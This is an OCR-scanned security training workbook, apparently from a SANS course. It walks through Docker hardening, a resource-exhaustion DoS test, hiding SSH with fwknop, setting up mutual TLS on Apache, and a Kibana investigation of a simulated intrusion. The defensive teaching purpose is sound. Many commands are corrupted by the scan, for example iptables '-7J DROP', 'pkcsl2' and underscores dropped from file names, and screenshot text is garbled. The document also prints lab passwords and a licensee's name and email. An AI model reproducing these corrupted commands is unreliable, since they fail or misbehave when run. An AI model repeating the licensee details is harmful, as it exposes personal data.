/etc/docker

[PASS] 1.8 - Ensure auditing is configured for Docker files and directories
docker.service

[PASS] 1.9 - Ensure auditing is configured for Docker files and directories
docker.socket

[PASS] 1.10 - Ensure auditing is configured for Docker files and directories
/etc/default/docker

[PASS] 1.11 - Ensure auditing is configured for Docker files and directories
/etc/docker/daemon.json

[PASS] 1.12 - Ensure auditing is configured for Docker files and directories
/usr/bin/docker-containerd

[PASS] 1.13 - Ensure auditing is configured for Docker files and directories
/usr/bin/docker-runc

[PASS] 2.1 - Ensure network traffic is restricted between containers on the

default bridge

To verify the default behavior of container to container network is no longer allowed, switch to the first
terminal and launch a container called test_containerl again using the command below.

$ docker run -it --rm --name test containerl centos /bin/bash
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Switch to the second terminal and run the command below te deploy a container called test_container2.

$ docker run -it --rm --name test container2 centos /bin/bash

From test_containerl issue the ping command below.

$ ping 172.17.0.3 -c2

This time the ping fails and times out.

[root@7laccfa6695e /]# ping 172.17.0.3 -c2
PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.

-——-172.17.0.3 ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 10l6ms

Note: With the current configuration, new containers cannot talk to each other by default. However, if
you look at /labs/3.2/docker-compose.yml, you can see how easy it is to allow containers to talk to one
another. The docker-compose.yml file is a configuration file for invoking docker run for one or more
containers.

As you can see, hardening a virtualization system or application is a simple task. For a more
comprehensive hardening guide consider looking at CIS benchmarks. These are free to obtain.

Note: The hardening change that prevented one container from talking to another can be emulated in
VMware vSphere using PVLANs within VMware's virtual switches.

Switch to the second terminal and exit test_container2 using the command below. Do not close out of
the terminal window.

# exit

Switch to the first terminal and exit test_containerl using the command below. Do not close out of the
terminal window.

# exit
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4.  Perform DOS

For the final step, you will be simulating a denial-of-service attack against a container. Unless a container
is specifically limited resources, a single container can consume all resources thus crashing the host and
all other containers. Due to this, you will be starting a container that has its resources limited and then
verifying the impact of a denial-of-service.

In the first terminal window, start test_containerl, but this time do so with the command below.

$ docker run -it --rm --name test containerl --cpus="1" -m 128m
centos /bin/bash

Note: The --cpus switch limits test_containerl so that it can only fully utilize a single CPU core. Your
student VM has two CPU cores. The -m switch limits the container to a maximum of 128 MB of RAM.

Within test_containerl, issue the commands below. This command will consume as much CPU as
possible.

# cat /dev/urandom > /dev/null &
# cat /dev/urandom > /dev/null &

Note: The same command was run twice so that multiple threads would be running. If the container was
allowed to use both CPU cores inside your VM, then all CPU resources would be used. If --cpus=1 is
working correctly, only a single core will be consumed.

In the second terminal, run the command below to monitor CPU consumption.

# htop

The htop output should look like below.

I AR RRRRR N 51.3%] Tasks: , thr; running
2 LIHEEEEEEEE 51.0%]y Load average: 3.17 1.14
Mem[||||[L1111]]] 542M/3.84G] \Uptime:

Swp [ 0K/2.00G]

In the picture above, 1 CPU core is consumed across both virtual CPU cores. Depending on how Docker
consumes resources you may see a single core in htop having 100% resources consumed and the other
barely used.

In effect, protecting a Docker host from denial-of-service is as simple as restricting containers so they
cannot consume 100% of the host's resources.
Press CTRL + C to stop htop. At this point, you may close out of test_containerl by running the exit
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command below.

S exit

You may also close out of any open terminals.

Lab Conclusion

In this lab, you have used Docker to represent multiple aspects of virtualization security including:
e Auditing for security hardening recommendations

e Protection against denial-of-service attacks

e Isolating network communication between virtual systems

e Securing virtual platform services and configuration

e Verified the risk associated with gaining host operating system access

Lab 4.3 is now complete!
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Exercise 5.1 — Network Isolation and Mutual

Authentication
Objectives
e |[solate systems or services so that adversaries cannot find them
e  Require authentication to access a system or service
e  Control authentication using non-application specific services as well as TLS-based authentication
e Implement mutual authentication to limit access to a service

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Before proceeding into this lab run the following pre-check script:

$ sudo pwsh /labs/check.psl -check precheck -lab 5.1

This lab requires issuing certificates using a custom certificate authority. All CA files are in /labs/5.1/ca. The
certificate authority itself has been set up. The CA private key is in /labs/5.1/ca/private/cakey.pem, and the
public key is in /labs/5.1/ca/cacert.pem. password to the CA private key is "SEC530 is awesome".
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Exercise: No hints

1. Prevent all traffic to port 22 unless it has been authenticated using fwknop
e Verify port 22 is not visible by a port scanner
e Use single packet authentication (SPA) to make port 22 visible and reachable
2. Configure the Docker container secure_webserver for TLS. This container is running Apache. All
necessary configuration files can be modified in /labs/5.1/apache.
e Configure SSL/TLS for the default website and verify it is reachable
3. Configure the Docker container secure_webserver for mutual TLS.

Any changes made to secure_webserver require running "docker restart secure_webserver" for the
configuration to be reloaded.

Exercise — Step-by-step instructions

1. Block traffic to SSH

On Linux, fwknop can be used to require a client authenticates before having access to a service. The
fwknop service uses single packet authentication (SPA) to do this. On Windows, IPSec can be utilized to
require authentication prior to accessing a service. Both IPSec and fwknop can be used to isolate or hide
hosts or services while requiring authentication from authorized clients. This lab will utilize SPA using
fwknop.

Prior to testing SPA, you need to block access to the service you are attempting to protect. In this case,
port 22 or SSH needs to be blocked. Block port 22 by issuing the iptables commands below to prevent
port 22 traffic.

$ sudo iptables -I INPUT 1 -p tcp —--dport 22 -7J DROP
S sudo iptables -I INPUT 1 -p tcp —--dport 22 -m conntrack --ctstate
ESTABLISHED, RELATED -3 ACCEPT

Note: The second command allows port 22 access but only if it is a connection that was already
established. Based on the current rules adding a new connection to port 22 could not occur.

Now, verify port 22 is inaccessible by port scanning it with nmap. Use the command below.

$ nmap -p 22 172.17.0.1
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The output refiects that TCP port 22 is filtered.
[~]$ nmap -p 22 172.17.0.1

Starting Nmap 7.01 ( https://nmap.org ) at 2018-03-16 00:51 EDT
Nmap scan report for 172.17.0.1

Host is up (0.00022s latency).

PORT STATE SERVICE

22/tcp filtered ssh

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Note: Filtered in nmap means that the port scanner is unable to tell if the port is open or closed. If you
were to run Wireshark and capture packets during this scan, you would see an SYN packet sent to

172.17.0.1 but no response packets. It would look as if 172.17.0.1 does not exist.

At this point, 172.17.0.1 is invisible on port 22. The next step is to make it accessible but only if a client
authenticates first. Authentication is going to be handled by fwknop.

Run the fwknop service by running the command below.

$ sudo fwknopd -f -1 any -a /etc/fwknop/access.conf

You will see the below output.

[~]1$ sudo fwknopd -f -i any -a /etc/fwknop/access.conf

Warning: REQUIRE SOURCE ADDRESS not enabled for access stanza source:
'ANY'

Starting fwknopd

Added jump rule from chain: INPUT to chain: FWKNOP INPUT

iptables 'comment' match is available

Sniffing interface: any

PCAP filter is: 'udp port 62201'

Starting fwknopd main event loop.

The output means that fwknopd is listening on UDP port 62201 for single packet authentication requests.
Leave fwknopd running in this terminal and open a second terminal by clicking on the terminal icon in
the top left corner of your student VM.

Note: fwknopd is the service file for fwnop-server. In the lab, we are invoking it manually, but in
production, you could leave it running as a service.
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-~

In the second terminal, run the command below to send an authentication packet to fwknop.

$ fwknop -n Security530 -s 172.17.0.1 --verbose

The output of the second terminal will look like below.

[~]1$ fwknop -n Security530 -s 172.17.0.1 --verbose

[-] WARNING: Should use -a or -R to harden SPA against potential MITM
attacks

SPA Field Values:

Random Value: 8004618341531236
Username: student
Timestamp: 1521176309
FKO Version: 2.0.1
Message Type: 1 (Access msqg)
Message String: 0.0.0.0,tcp/22
Nat Access: <NULL>
Server Auth: <NULL>

Client Timeout: O
Digest Type: 3 (SHA256)
HMAC Type: 3 (SHA256)
Encryption Type: 1 (Rijndael)
Encryption Mode: 2 (CBC)

Encoded Data:
8004618341531236:c3R1Z2GVudA:1521176309:2.0.1:1:MC4wLjAuUMCx0Y3AVMII
SPA Data Digest: yxRVgvD21I1j2QTJ3PRgZwgMCzMsn5dZrizhD5PS/7M
HMAC: OSBAl10KJ6XHwud4Fzjgd6F7fC6zd0dht0BmnoFogZ9kyg
Final SPA Data:
8pe+1FcLK4YV1BHsrYHSQpsV750wuCONfgGvEPPyi4j0Cuypj2R0qg/y06zulFkGo/PH6bsS
veZX72255AGygvxMIP7pG9jNI9kxBYQOmIKaCNeBg6sNGZ/drZ0+mCidrzg8ku6RGLyjkIdgp
grXuD+me70Z2TIa9VvZ1AOSBALOKJI6XHwudFzjgdeF7£C6zd0dhtO0BmnoFogZ9kg

Generating SPA packet:
protocol: udp
source port: <0OS assigned>
destination port: 62201
IP/host: 172.17.0.1
send spa packet: bytes sent: 204

The first terminal that is running fwknopd will show that an iptables rule was temporarily added.

(stanza #1) SPA Packet from IP: 192.168.56.131 received with access
source match

Added Rule to FWKNOP INPUT for 192.168.56.131, tcp/22 expires at
1521176340
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At this point, you have 30 secends to attempt to connect to port 22. Attempt to run an nmap scan again
with the command below.

$ nmap -p 22 172.17.0.1

If you ran nmap within 30 seconds you would receive the following output:
[~]$ nmap -p 22 172.17.0.1

Starting Nmap 7.01 ( https://nmap.org ) at 2018-03-16 01:02 EDT
Nmap scan report for 172.17.0.1

Host is up (0.00027s latency).

PORT STATE SERVICE

22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds

If you did not run it within 30 seconds, you would receive output that port 22 is filtered. In that case, just
send an authentication packet and run nmap immediately after by issuing these commands back to back.

$ fwknop -n Security530 -s 172.17.0.1 --verbose
$ nmap -p 22 172.17.0.1

Note: The command fwknop -n Security530 -s 172.17.0.1 issending an authentication
packet using a pre-saved configuration file. In this lab, the file specifies the asymmetric authentication
keys to use, and that fwnopd should open port 22. To see the configuration associated with -n
Security530 run the command below.

$ tail /home/student/.fwknoprc -n7

Stop fwknopd in the first terminal by pressing CTRL + C within the terminal. You will receive the following
output.

~"CGracefully leaving the fwknopd event loop.

Got SIGINT. Exiting...
Shutting Down fwknopd.

You may also close out of the second terminal at this point.
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2. Set up Apache SSL

Another method of implementing zero trust for a key service is to utilize mutually authenticated TLS.
Prior to establishing mutual authentication, it usually is a good idea to test traditional server-side TLS. For
this, you will be generating a certificate and configuring Apache to use it.

First, create a certificate request using the common name of secure_webserver using the commands
below.

$ cd /labs/5.1/ca

$ openssl req -new -nodes -out secure webserver-reqg.pem -keyout
private/secure webserver-key.pem -days 3650 -config

./secure webserver csr.conf

Note: The configuration file secure_webserver_csr.conf is a template that configures the key size and
options for the certificate being requested. In this case, it is being used to point to the CA certificate and
establish the defaults supplied for each piece of the certificate.

Accept the default options presented by hitting ENTER each time you are prompted for input. The
common name's default value will be secure_webserver which is the Apache server's name. The output
from the command above will look as below.

[/labs/5.1/cal$ openssl req —-new -nodes -out secure webserver-reqg.pem -
keyout private/secure webserver-key.pem -days 3650 -config

./secure webserver csr.conf

Generating a 4096 bit RSA private key

You are about to be asked to enter information that will be
incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a
DN.

There are quite a few fields but you can leave some blank
For some fields there will be a default wvalue,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [US]:

State or Province Name (full name) [Illinois]:

Locality Name (eg, city) [Effingham]:

Organization Name (eg, company) [SANS]:

Organizational Unit Name (eg, section) [SEC530]:

Common Name (eg, YOUR name) [secure webserver]:

Email Address []:
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Note: If you wish to see the configuration file in more detail you may open it with the command "code
/labs/5.1/ca/secure_webserver csr.conf".

Next, run the command below to have the custom CA digitally sign the requested certificate request.

$ cd /labs/5.1/ca

$ openssl ca -cert cacert.pem -out secure webserver-cert.pem -days
3650 -config ./secure webserver csr.conf -extensions v3 req -infiles
secure webserver-req.pem

The CA file will require a password be entered to sign the certificate. The output and prompt for the
password will look like below.

[/labs/5.1/cal$ openssl ca -cert cacert.pem -out secure webserver-
cert.pem -days 3650 -config ./secure webserver csr.conf -extensions
v3 req -infiles secure webserver-req.pem

Using configuration from ./secure webserver csr.conf

Enter pass phrase for ./private/cakey.pem:

When you see this enter the password of "SEC530 is awesome" and then hit ENTER. Next, you will be
asked if you wish to sign the certificate.

Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows

countryName :PRINTABLE: 'US'

stateOrProvinceName :ASN.1 12:'I1linois’

localityName :ASN.1 12:'Effingham'

organizationName :ASN.1 12:'SANS'

organizationalUnitName:ASN.1 12:'SEC530'

commonName :ASN.1 12:'secure webserver'

Certificate is to be certified until Mar 13 05:30:35 2028 GMT (3650
days)

Sign the certificate? [y/n]:

When you receive this message press y on your keyboard and hit ENTER. You will then be asked if you
wish to commit the change.

1 out of 1 certificate requests certified, commit?
Again, hit y on your keyboard and press ENTER. The final output will be as follows.

Write out database with 1 new entries
Data Base Updated
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At this point, your certificate for secure_webserver has been issued. The certificate files are in the below
locations:

Public key - /labs/5.1/ca/secure_webserver-cert.pem
Private key - /labs/5.1/ca/private/secure_webserver-key.pem

Copy the certificate files to the Apache configuration folder named SSL using the commands below.

cd /labs/5.1/ca

cp secure webserver-cert.pem /labs/5.1/apache/ssl

cp private/secure webserver-key.pem /labs/5.1/apache/ssl
cp cacert.pem /labs/5.1/apache/ssl

Ur Ur U U

Next, the Apache website needs to be configured to use the certificates for TLS. To do this, open the site
configuration file with Visual Studio Code.

$ code /labs/5.1/apache/sites-enabled/000-default.conf

The default configuration for Apache is to listen on port 80. The default configuration looks similar to

this:
1 <VirtualHost *:80>
2
3 # The ServerNam irective sets the
4 # the server uses to identify itself
5 # redirection URLs. In the context o
6 # specifies what hostname must appea
7 # match this virtual host. For the d
8 # value is not decisive as it 1is use
9 # However, you must set it for any f
LO #ServerName www.example.com
L1
| 2 ServerAdmin webmaster@localhost
|3 DocumentRoot /var/www/html
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Change the configuration file sc that VirtualHost *:80 becomes VirtualHest *:443 and then directly
below this add the following configuration lines.

SSLEngine on
SSLCertificateFile /etc/apache2/ssl/secure webserver-cert.pem
SSLCertificateKeyFile /etc/apache2/ssl/secure webserver-key.pem

Note: The path /labs/5.1/apache is linked to /etc/apache2 for the Apache Docker container.

Optionally add these configuration lines below SSLCertificateKeyFile.

SSLProtocol all -SSLv2 -SSLv3

SSLCipherSuite ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-
GCM-SHA256 :ECDHE-RSA-AES256-GCM-SHA384 : ECDHE-ECDSA-AES256-GCM-

SHA384 :DHE-RSA-AES128-GCM-SHA256: DHE-DSS-AES128-GCM-

SHA256: kEDH+AESGCM: ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-
SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-
SHA384 :ECDHE-ECDSA-AES256-SHA384 :ECDHE-RSA-AES256-SHA : ECDHE-ECDSA-
AES256-SHA:DHE-RSA-AES128-SHA256: DHE-RSA-AES128-SHA:DHE-DSS-AES128-
SHA256 :DHE-RSA-AES256-SHA256: DHE-DSS-AES256—-SHA : DHE-RSA-AES256-
SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-
SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CRBC3-

SHA: !aNULL: !'eNULL: !EXPORT: !DES: !RC4:!MD5: ! PSK: !aECDH: !EDH-DSS-DES-CBC3-
SHA: !EDH-RSA-DES-CBC3-SHA: !KRB5-DES-CBC3-SHA

SSLHonorCipherOrder on

SSLCompression off

Note: The optional settings above disable SSLv2 and SSLv3 and enforce strong encryption algorithms.

The configuration file should look like this image after changing the configuration. This includes the
optional configuration settings.

@ 000-default.conf o Must have these changes. =
| <VirtualHost *:443-@ {
2 SSLEngine on
3 SSLCertificateFile /etc/apache2/ssl/secure webserver-cert.pem
4 SSLCertificateKeyFile /etc/apache2/ssl/secure webserver-key.pem
5 SSLProtocol all -SSLv2 -SSLv3
6 SSLCipherSuite ECDHE -RSA-AES128-GCM-SHA256 : ECDHE-ECDSA-AES128-G(
7 SSLHonorCipherOrder on
8 SSLCompression off

Save the changes by clicking on File and then clicking on Save.
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3.

SEC530 - SANS ©2019

File Edit Selection Wiew Go Debug Tasks Hel

ile Ctrl+M

MNew dow Ctri+Shift+M

Open File. Ctri+C
Open Folder... [Ctri+K Ctrl+0]

Open Workspace...

Open Recent k
Add Folder to Workspace... g

Save Workspace As...

Close out of Visual Studio Code by clicking on the X in the top right corner of it.

>

Now, start the Docker container that runs secure_webserver by issuing the command below.

$ docker start secure webserver

Next, open the website and verify that it is functioning with TLS enabled using the command below.

$ google-chrome https://secure webserver &

Note: You may receive errors on your terminal when running the above command. These are normal and
can be safely ignored.

The site should properly load and display CustomWebApp 530.

f \
/ [§ CustomWebApp530  x \\
"y

4

c 0O | @ Secure | https://secure_webserver

Apps For quick access, place your bookmarks here on the bookmarks bar. I

Welcome to CustomWebApp 530

At this point, TLS is properly enabled, but mutual authentication is not required.

Configure mutual authentication
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To configure Apache to force mutual authentication, reconfigure the default site using Visual Studio
Code.

$ code /labs/5.1/apache/sites-enabled/000-default.conf

To require mutual authentication, add the below configuration at the bottom of the existing SSL
configuration.

SSLVerifyClient require

SSLVerifyDepth 10
SSLCACertificateFile /etc/apache2/ssl/cacert.pem

The configuration file should now look like below.

¥ 000-default.conf @
1 <VirtualHost *:443>
2 SSLEngine on
3 SSLCertificateFile /etc/apache2/ssl/secure webserver-cert.pem
4 SSLCertificateKeyFile /etc/apache2/ssl/secure webserver-key.pem
5 SSLProtocol all -SSLv2 -SSLVﬂ
6 SSLCipherSuite ECDHE-RSA-AES128-GCM-SHA256 : ECDHE - ECDSA 1
7 SSLHonorCipherOrder on
8 SSLCompression off /
9 SSLVerifyClient require
10 SSLVerifyDepth 10
11 SSLCACertificateFile /etc/apache2/ssl/cacert.pem

Save the changes by clicking on File and then clicking on Save.

File Edit Selection View Go Debug Tasks Hel

ile Ctrl+M

MNew dow Ctri+Shift+M

Open File. Ctri+C
Open Folder... [Ctri+K Ctrl+0]
Open Workspace...

Open Recent b
Add Folder to Workspace... g

Save Workspace As...
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Close out of Visual Studio Code by clicking on the X in the top right corner of it.

Now, restart the Docker container that runs secure_webserver by issuing the command below.

$ docker restart secure webserver

Switch back to Google Chrome and refresh the page by clicking on the refresh icon.

[ secure_we er »
4 | & Secure

Anme  Enroirk arrece nlare

When the page reloads, you will be presented with an error that secure_webserver did not accept your
login certificate or that none was provided.

B

This site can’t provide a secure connection

secure_webserver didn't accept your login certificate, or one may not have
been provided.

Try contacting the system admin.

ERR_BAD_SSL_CLIENT_AUTH_CERT

To fix this, you first need to issue a client certificate for your Linux VM. First, create a client certificate
request using the command below.

$ cd /labs/5.1/ca
S openssl req —-new -nodes -out client-req.pem -keyout
private/client-key.pem -days 3650 -config ./client csr.conf

Note: The configuration file client_csr.conf is a template that configures the key size and options for the
certificate being requested. In this case, it is being used to point to the CA certificate and establish the
defaults supplied for each piece of the certificate.
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Accept the default options presented by hitting ENTER each time you are prompted for input. The
common name's default value will be Security530 which is the name of your student VM. The output
from the command above will look as below.

[/labs/5.1/cal$ openssl req —-new -nodes -out client-reg.pem -keyout
private/client-key.pem -days 3650 -config ./client csr.conf
Generating a 4096 bit RSA private key

writing new private key to 'private/client-key.pem'

You are about to be asked to enter information that will be
incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a
DN.

There are quite a few fields but you can leave some blank
For some fields there will be a default wvalue,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [US]:

State or Province Name (full name) [Illinois]:

Locality Name (eg, city) [Effingham]:

Organization Name (eg, company) [SANS]:

Organizational Unit Name (eg, section) [SEC530]:

Common Name (eg, YOUR name) [Securityb530]:

Email Address []:

Note: If you wish to see the configuration file in more detail you may open it with the command "code
/labs/5.1/ca/client_csr.conf".

Next, run the command below to have the custom CA digitally sign the requested certificate request.

S cd /labs/5.1/ca
S openssl ca -cert cacert.pem -out client-cert.pem -days 3650 -
config ./client csr.conf -extensions v3 req -infiles client-req.pem

The CA file will require a password be entered to sign the certificate. The output and prompt for the
password will look like below.

[/labs/5.1/cal$ openssl ca -cert cacert.pem -out client-cert.pem -days

3650 -config ./client csr.conf -extensions v3 req -infiles client-
reqg.pemUsing configuration from ./client csr.conf
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Enter pass phrase for ./private/cakey.pem:

When you see this enter the password of "SEC530 is awesome" and then hit ENTER. Next, you will be
asked if you wish to sign the certificate.

Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows

countryName :PRINTABLE: 'US'

stateOrProvinceName :ASN.1 12:'T1llinois'’

localityName :ASN.1 12:'Effingham'

organizationName :ASN.1 12:'SANS'

organizationalUnitName:ASN.1 12:'SEC530'

commonName :ASN.1 12:'Securityb530'

Certificate is to be certified until Mar 13 06:16:38 2028 GMT (3650
days)

Sign the certificate? [y/n]:

When you receive this message, press y on your keyboard and hit ENTER. You will then be asked if you
wish to commit the change.

1 out of 1 certificate requests certified, commit?
Again, hit y on your keyboard and press ENTER. The final output will be as follows.

Write out database with 1 new entries
Data Base Updated

At this point, your client certificate has been issued. The certificate files are in the below locations:

Public key - /labs/5.1/ca/client-cert.pem
Private key - /labs/5.1/ca/private/client-key.pem

The next step is to import the client certificate into Google Chrome to use for identity authentication.
However, Google Chrome does not support importing client certificates using PEM files. The fix for this is
to combine the certificates into a PKCS#12 certificate.

Use the command below to combine the CA public key, client public key, and client private key into a pfx
file.

$ openssl pkcsl2 -export -out client cert.pfx -inkey private/client-
key.pem -in client-cert.pem -certfile cacert.pem

When prompted for a password you may enter "SEC530 is the best class ever" or leave the password
blank. Choose your level of paranoia. To leave the password blank just hit ENTER twice.

Enter Export Password:
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Verifying - Enter Export Password:

Switch back to Google Chrome and click on the three-dots setting button and then click on Settings.

Mew tab

Mew window Ctrl+M
Mew incognit ow  Cirl+Shift+h
History b
Downloads Cirl+]
Bookmarks ]
Zoom - 100% + =
Print... Ctr+P
Cast...

Find...

More tools [
Edit Cut Copy Paste

Scroll to the bottom of the Settings page and click on Advanced.

&

Advanced -

Scroll down until you find Manage certificates within the Privacy and Security section. Click on Manage
certificates.

Use a web service to help resolve spelling errors
Smarter spell-checking by sending what you type in the browser to Google

Manage certificates

*
Manage HTTPS/SSL certificates and settings h

Content settings
Control what information websites can use and what content they can show you
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While still on the YOUR CERTIFICATES tab, click on IMPORT on the right.

YOUR CERTIFICATES SERVERS AUTHORITIES OTHERS

You have no certificates in this category N IMPORT

Browse to /labs/5.1/ca/ by first clicking on the left arrow next to student.

Then click on the image of the hard drive.

|1 _ﬁme 4% student |

Then double-click on Labs.

’E home Ii

Double-click on 5.1.

= 4.3

Double-click on ca.

Mame

[ apache

Lastly, select client_cert.pfx by double-clicking on it.

Mame

B client_cert.pfx

You will then be prompted for the pfx file's password. If you entered the password of "SEC530 is the best
class ever" re-enter it. If you left the password blank, just click on OK.
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Enter your certificate password X

Password

CANCEL

At this point, the certificate should be imported into Google Chrome. Close the Settings tab by clicking
on the X for that tab.

L& Settings x \§
chrome: .-'ssettingsdiﬂc ates

In the https://secure_webserver tab, click on the refresh icon to reload the page.

/ M secure?r x
(1 | & Secure

ant Anne  Enrounicl aresce nplore y

When the page reloads, you will be prompted to use the certificate you just imported into Google
Chrome. Select it and click on OK.

Select a certificate

Select a certificate to authenticate yourself to secure_webserver:443

Subject | Issuer | Serial |
Security530 SEC530_default_ca 100002
Certificate information ‘ Cancel ‘ 0K

This time the page loads and mutual authentication is working.

Note: Windows PKI allows automatic certificate deployment to both servers and clients. It also allows
systems to select appropriate client certificates automatically. Thus, automating many steps in this lab.
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At this point, please stop secure_webserver using the command below.

$ docker stop secure webserver

Lab Conclusion

In this lab, you have implemented various forms of isolation or authentication to protect a system or service.
By doing this, you can:

e Reduce the attack surface by minimizing what an adversary can see

e Reduce the attack surface by minimizing what an adversary can connect to

e Limit connections to assets with valid credentials

e Maintain better log repudiation

Lab 5.1 is now complete!
Do not underestimate the value of isolation or requiring authentication to a system or service!

e Not being able to see an asset makes it unavailable for an attack.
¢ Not being able to authenticate to a service, in many cases, can protect against zero-day software
vulnerabilities because payloads cannot be submitted until after authentication takes place.
o Plus, credential theft and reuse is significantly more difficult to perform when client certificates
and mutual authentication are required by assets
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Exercise 5.2 - SIEM Analysis and Tactical

Detection

Objectives

Use tags to speed up analysis

Identify multiple methods for implementing simple detection techniques
Understand and learn how to interpret both network and endpoint data
Interact with active dashboards

Learn the value of augmenting log data

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

This lab involves analyzing log data collected and augmented into an Elastic stack solution. To limit resource
consumption on your laptop, the services are not started by default. To start the services, issue the command
below.

$ sudo pwsh /labs/check.psl -check precheck -lab 5.2

Overview information:

An attacker has successfully compromised a fictitious organization called Lab Me Inc on April 14%, 2018. Lab
Me Inc has an internal domain of labmeinc.internal and an external domain of labmeinc.com. Your task is to
identify which system(s) were compromised with an emphasis on later implementing the detection techniques
as automated alerts.

You will be performing your analysis using Kibana, which is a GUI for Elasticsearch. To access Kibana open
Firefox and browse to http://localhost:5601.

To do this at the command prompt, issue the below command.
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S firefox http://localhost:5601

WARNING: It may take a minute or two for Kibana to start after issuing the docker-compose start command.
The following tags are available to help you filter in or out of data.

Network Log Tags - Available on Bro and Suricata logs

internal_source internal_destination external_source external_destination

accounting accounting_source accounting_destination workstation workstation_destination
workstation_source infrastructure infrastructure_source infrastructure_destination server

server_source server_destination it it _source it _destination hr hr_source hr_destination
dmz dmz_source dmz_destination

Endpoint Log Tags - Available on Windows logs
service_account machine (identifies computer accounts) logon_success logon_failure

Internal domain controllers / DNS servers are 192.168.2.101 and 192.168.2.102.
External DNS servers are 74.40.74.40 and 74.40.74.41.

Exercise: No hints

1. Use network logs such as flow, DNS, HTTP, or HTTPS logs to find at least three ways to identify
unauthorized activity

What is the cousin domain used in the attack?
What socket is used for the longest running command and control channel?
What process is being used to establish a command and control channel?
Bonus: What is the registry key name used to maintain persistence?
2.  Use Windows logs to find at least three ways to identify unauthorized activity

e What is the name of the service created on the compromised asset?

e Which files did the attacker touch that should never have been accessed?

e What user account was created?

e What group was the user account added to?

e Bonus: What was used to kick off the initial attack?

e Bonus: Which system were logs cleared on?

e Bonus: The attacker loves a specific year. What year is it?
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Exercise — Step-by-siep instriuctions

1. Find attacks with network logs

Looking for signs of post compromise activity does not have to be complex. Many attacks leave a
noticeable digital footprint. If you know what to look for you can easily find it. In this aspect, a SIEM
dashboard can greatly aid in this process. To aid in the identification of unauthorized activity, start by
using the Security Analytics - Network Traffic Analysis dashboard.

Within Kibana click on Dashboard, and then click on Security Analytics - Network Traffic Analysis.

Dashboard
‘ kibana i
Discover
search... 1-40f4 £ >
Visualize

P Name Description Actions
neion Security Analytics - Email: Inbox Edit
Dev Tools Security Analytics - Email: Inbox - Newest Architecture Diagram Edit
Management Security Analytics - Network Traffic Analysis Edit

Security Analytics - Windows Host Analysis \ Edit
g 1-40f4 < >

This dashboard is saved with the timestamp so it will immediately focus on logs between April 14t", 2018
at 01:46:59.134 to April 14t 2018 2018, 02:15:19:670.

The dashboard already contains high-value visualizations. For example, look at the Security Analytics -
Fuzzy Domain Matches and Security Analytics - Fuzzy Domain Match Table visualizations found in the
middle of the dashboard. Depending on your screen resolution you may need to scroll down a little bit to

see them.
ecurity Analytics - Fuzzy Do I tche Security Analyt Fuzz atch Table
Timestamp Found Fuzzy Domain Found Count
01:52:00 1abmeinc.com 5
Count
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These visualizations immediately identify a cousin domain found. The table shows there were multiple
logs for the domain 1abmeinc.com which closely resembles labmeinc.com. At a minimum, this is
suspicious activity. Further investigation is merited.

Scroll to the top of the dashboard and type "1labmeinc.com" and then click on search.

Dashboard / Security Analytics - Ne

labmeinc.com  sfes—

Traffic Analysis < O April 14th 2018, 01:46:59.134 to Aprgzma, :15:19.670 ¥
Use ne query synta

All the visualizations on the dashboard will be updated to reflect the applied search filter. For example,
the Security Analytics - URL Paths pie chart shows there is a single request to www.labmeinc.com with

the path of /test.txt.

g

ecurlty Analytics - URL Pat

o

wiww. labmeinc.com
@ [test.ixt

Note: The inner ring is the virtual_hostname used which is www.1labmeinc.com. The outer ring is the
paths requested on the web server. In this case, only /test.txt was requested.

Scroll down to the bottom of the dashboard and look at the Network Connection - Default Saved Search

table.
Network Connection - Default Saved Search
Time event_type source_ip source_port destination_ip destination_port highest_registered_domain

»  April 14th 2018, 01:53:18.000 fileinfo 34.237.11491 80 10.0.1.51 50,691
»  April 14th 2018, 01:52:17.739  fileinfo 34.237.114.91 80 192.168.2.78 51,232

II‘ April 14th 2018, 01:52:15.930  http 10.0.1.51 50,691 34.237.11491 80
»  April 14th 2018, 01:52:15.750  http 10.0.1.51 50,691 34.237.114.91 80
»  April 14th 2018, 01:52:15.676 dns 192.168.2.101 53 10.0.1.51 58,262 1abmeinc.com

SEC530 - SANS ©2019

Exercise 5.2 - SIEM Analysis and Tactical Detection

Exercise-5.2-4

Licensed To: Martin Brown <hermespaul56@gmail_com> May 17, 2020




This table shows connections from 10.6.1.51 to 34.237.114.91 are being made cver port 80. Expand the
first log with an event_type of http by clicking on the arrow next to the log.

etwork Connect Default 5 20 Sec
Time event_type source_ip source_port
v April 14th 2018, 01:53:18.000  fileinfo 34.237.1149 80
b April 14th 2018, 01:52:17.759  fileinfo 34.237.1149 80
April 14th 2018, 01:52:15.930  http 10.0.1.51 50,691
PA dth 2018, 01:52:15.750  hittp 10.0.1.51 50,691
b April 14th 2018, 01:52:15.676  dns 192.168.2.101 53

Note: The other logs contain DNS entries. There are logs of 10.0.1.51 asking for the IP address belonging
to www.labmeinc.com from the internal DNS servers. Then after this takes place, there are logs of the
internal DNS servers performing a recursive DNS lookup against the external DNS servers for this domain.
However, only 10.0.1.51 made a connection to 34.237.114.91 which is what www.labmeinc.com
resolved to.

Scrolling down and looking at this log shows that the connection was made to the cousin domain of
www.labmeinc.com with a uri of /test.txt. Most alarming is that the connection shows it is using a User-
Agent of Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.251.

t uri Q QM@ % /test.txt ‘

# uri length Q a@* 9

t useragent @ Q @ %« Mozilla/5.8 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.251
t virtual host @ Q [M * www.labmeinc.com ’

